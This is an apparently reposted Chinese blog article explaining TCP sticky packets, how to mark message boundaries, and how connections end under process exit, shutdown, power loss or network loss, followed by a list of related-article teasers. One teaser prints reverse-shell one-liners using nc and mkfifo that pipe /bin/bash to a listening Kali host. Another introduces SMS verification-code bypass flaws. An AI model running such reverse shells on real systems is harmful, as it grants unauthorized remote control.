TCP传输的粘包问题和各种异常情况

news2024/11/19 6:24:10

文章目录

  • 粘包问题
    • 用分隔符
    • 用数字代表长度
  • TCP传输可能遇到的异常情况
    • 进程终止
    • 电脑关机
    • 正常情况下关机
    • 非正常情况关机(停电)
    • 电脑断网

粘包问题

粘包问题其实并不是TCP独有的的问题而是每一个面向字节流都会出现的问题,那么什么是粘包问题呢?请看下图
在这里插入图片描述
这里我们表示一个字节流这里面的消息就是我们即将发送的消息,那么这里面就是以字节为单位的数据,但是我们知道计算机在某一时刻传输多少字节是不知道的,我们并不知道自己的这些信息一次会被发出去多少,假如说按照我输入的情况我第一次要发送的是aaa第二次是bbb但是由于上面情况的发生,因此我们发送的情况可能是第一次发送的数据是aa第二次是abbb。这也是很有可能的,而第二次发送的数据abbb其实就是两个包黏在一起了。我们称之为粘包问题。那么该如何去避免粘包问题呢?那就是明确每个数据包的边界,也就是说做数据得有边界感,那么如何去明确边界呢?有以下两种方式。

用分隔符

第一种就是用分隔符来表示,这里我们结合一个生活中实际的例子来说明,那就是我们在写作文的时候,由于我们写作文一写就可能很长,那么用分隔符来表述其实就是在作文里加上逗号,问号,或者句号这一类的标点符号,那么粘包问题大家就可以想象成去读一篇没有标点符号的文章,读起来肯定是相当的难受,因为你在读的时候就可能出现了粘包问题。那么分隔符分割就是用标点符号把每句话进行了分割从而使得可以读起来知道每句话的边界在哪儿。

用数字代表长度

用数字代表长度是什么样子的呢?我们依然是以上面的那个内容为例
在这里插入图片描述
这里面还是我们要发送的数据,那么这时候我们发送的数据有什么特点呢?那就是我们每一次要发送出去的数据前面都有一个数字,这个数字表示了我们要发送的数据的长度,而有了长度也就有了边界了,每一次的发送我们只需要读取一下前面的数字就可以了。

TCP传输可能遇到的异常情况

进程终止

进程终止那么TCP连接是如何断开的呢?其实当一个进程终止之后,这个进程所获取的资源自然也就被释放掉了,那么操作系统内核就会进行连接的释放也就是四次挥手。这里我们要知道一个概念那就是,TCP连接是否存在和进程是否存在是没有必然联系的,因为TCP连接是独立于进程存在的,这是为什么呢?因为连接的构建本质上是内核进行完成的,就像我们用电话,和别人打电话,当我们的电话挂断后我们的电话线依然是存在的,而我们在写代码的时候也确实并没有去在代码里建立连接我们是直接调用了接口然后把参数传给操作系统内核让内核去建立连接。我们可以理解为,连接的建立是两个操作系统建立的,而进程只是利用这个连接进行通信的。因此进程结束并不一定意味着操作系统会删除对方信息,从而断开连接。因此,TCP连接具有独立性和持久性。

电脑关机

正常情况下关机

如果是正常状态关机那么在关机前操作系统会将所有的正在运行的程序全部终止,那么这时候其实就是上面进程终止的情况。

非正常情况关机(停电)

什么是非正常情况关机呢?比如说你的事台式电脑然后突然断电了,这种情况下操作系统没有足够的时间去终止程序进行四次挥手,也就是说此时,接收端看你迟迟没有任何的数据发送过来,然后就会进行等待,当等待的时间过长之后那么接收端那方就会自动断开连接。

电脑断网

电脑断网,这种情况和上述其实差不多接收端认为连接还在,一旦接收端有写入操作,接收端发现连接已经不在了,就
会进行reset。即使没有写入操作,TCP自己也内置了一个保活定时器,会定期询问对方是否还在。如果
对方不在,也会把连接释放。
另外,应用层的某些协议,也有一些这样的检测机制。例如HTTP长连接中,也会定期检测对方的状
态。例如QQ,在QQ断线之后,也会定期尝试重新连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613998.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

最近做的一些套利操作

最近做的套利不多,主要是两个品种:全球芯片LOF,标普500LOF,一共盈利1360元。 盈利不多,但是每天我只花了3分钟点几下就赚到了,捡钱就像呼吸一样简单,还要啥自行车? 整理交易记录的…

如何增强Java GCExcel API 的导入和导出性能

前言 GrapeCity Documents for Excel (以下简称GcExcel) 是葡萄城公司的一款服务端表格组件,它提供了一组全面的 API 以编程方式生成 Excel (XLSX) 电子表格文档的功能,支持为多个平台创建、操作、转换和共享与 Microsoft Excel 兼容的电子表格&#xf…

JavaScript —— APIs(三)

一、事件流 (一)定义 (二)事件捕获 事件捕获,对话框从大到小弹出,先弹出爷爷,最后弹出儿子 (三)事件冒泡 冒泡事件,对话框从小到大弹出,先弹出…

【C++】C++11 包装器

👀樊梓慕:个人主页 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 🌝每一个不曾起舞的日子,都是对生命的辜负 目录 前言 function包装器 fu…

大模型接口管理和分发系统One API

老苏就职于一家专注于音视频实时交互技术和智能算法的创新企业。公司通过提供全面的 SDK 和解决方案,助力用户轻松实现实时音视频通话和消息传递等功能。尽管公司网站上有详细的文档中心,但在实际开发中,仍面临大量咨询工作。 鉴于此&#x…

单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

需求背景 从第三方采购的vue2 ElementUI实现的云管平台,乙方说2011年左右就开始有这个项目了(那时候有Vue了吗,思考.jpg)。十几年的项目,我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容&a…

大模型培训老师叶梓:通过微调提升小型语言模型的复杂推理能力

在人工智能的快速发展中,复杂推理能力的提升一直是研究者们追求的目标。最近,一项发表在arXiv上的研究成果【1】,提出了一种创新的方法,即通过微调小型语言模型(LMs),并将其与大型语言模型&…

内旋风铣也挺有意思,不够还没搞透

内旋风铣,这一术语在机械制造业中并不陌生,它代表着一种高效且精确的加工方法。这一技术的名称“内旋风铣”便揭示了其两大核心特点:一是“内”,指的是在工件内部进行加工,通常涉及到难以触及的复杂曲面;二…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏,据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后,在1975年传入美国,1976年leslieH.Autl博士甚至还出版了一本名为The…

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接: 分析题意之后,发现就是一道简单的贪心,当然也可以把他看作纯数学题。 因为you和oo里面都有o,但是you可以得两分,所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞,游戏开发框架是js 开发的网页小游戏! phaser这个框架。好我们先上图! 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案,当时做的是ffmpeg内核版本,由于ffmpeg内核解析都是代码实现,所以无缝切换非常完美,看不到丝毫的中间切换过程,看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法,…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书,其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系:黑皮书涵盖了计算机科学的多个领域,如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测!!! 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐,播放器,下载,播放,DJ,免费,mp3,高音质,…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名,这个路径可以存在,也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理: 服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制。 危害:在相关业务中危害也不同,如找回密码,注册,电话换绑等地方即可形成高危漏洞,如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…